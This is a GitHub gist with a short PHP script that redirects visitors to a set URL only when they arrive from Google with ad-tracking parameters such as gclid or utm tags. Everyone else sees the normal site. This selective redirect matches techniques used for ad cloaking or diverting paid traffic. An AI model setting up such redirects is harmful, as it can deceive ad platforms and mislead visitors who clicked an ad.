Skip to content

Instantly share code, notes, and snippets.

@tallesairan
Created April 18, 2024 14:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tallesairan/fe26c872e39ebed9c6bfb5f05d3d81f2 to your computer and use it in GitHub Desktop.
Save tallesairan/fe26c872e39ebed9c6bfb5f05d3d81f2 to your computer and use it in GitHub Desktop.
<?php
function home_url($path){
$protocol = 'http://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {
$protocol = 'https://';
}
$host = $_SERVER['HTTP_HOST'];
return $protocol.$host.$path;
}
// ativa ou desativar redirect
$ativar_redirect = true;
// url de redirecionamento abaixo
$url_redirecionamento='https://www.google.com.br/outrapagina.html';
if (isset($_SERVER['HTTP_REFERER'])) {
$referrer = $_SERVER['HTTP_REFERER'];
if (strpos($referrer, 'google') !== false) {
$isGoogleReferrer = true;
}
if ($isGoogleReferrer) {
$adTags = ['utm_term', 'utm_creative', 'utm_campaign', 'utm_position', 'utm_network', 'utm_target', 'utm_placement', 'utm_match', 'gclid', 'gad_source'];
$hasAdTags = false;
$current_url = home_url( $_SERVER['REQUEST_URI'] );
$ref_url = parse_url($current_url);
if (isset($ref_url['query'])) {
$query = $ref_url['query'];
$queryParts = explode('&', $query);
foreach ($queryParts as $part) {
$partParts = explode('=', $part);
if (in_array($partParts[0], $adTags)) {
$hasAdTags = true;
break;
}
}
}
if($hasAdTags){
if($ativar_redirect){
$redirect_url = $url_redirecionamento;
if($redirect_url){
header('Location: '.$redirect_url);
exit;
}
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment